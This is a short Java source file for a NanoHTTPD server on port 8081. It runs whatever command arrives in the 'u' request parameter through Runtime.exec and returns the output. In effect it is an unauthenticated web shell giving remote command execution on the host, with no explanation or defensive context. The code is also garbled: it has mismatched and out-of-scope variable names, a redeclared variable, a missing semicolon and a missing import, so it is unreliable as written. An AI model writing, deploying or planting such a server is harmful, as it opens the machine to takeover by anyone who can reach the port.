import java.io.BufferedReader; import java.io.InputStreamReader; import fi.iki.elonen.NanoHTTPD; public class Srv extends NanoHTTPD{ public Srv() throws IOException{ super(8081); start(NanoHTTPD.SOCKET_READ_TIMEOUT,false); } public static void main(String[]args){ try{ new Srv();} catch(Exception e){ System.err.println("E " +i);}} @Override public Response serve(IHTTPSession s){ String u=session.getParms().get("u"); String m="
"; String s=null; try{ Runtime r=Runtime.getRuntime(); Process p=r.exec(u); BufferedReader i=new BufferedReader(new InputStreamReader(p.getInputStream())); while((s=i.readLine())!=null){ m+=s+"\n"; m+=""; }}catch(Exception e){m+="E "+e}} return newFixedLengthResponse(m+"");}}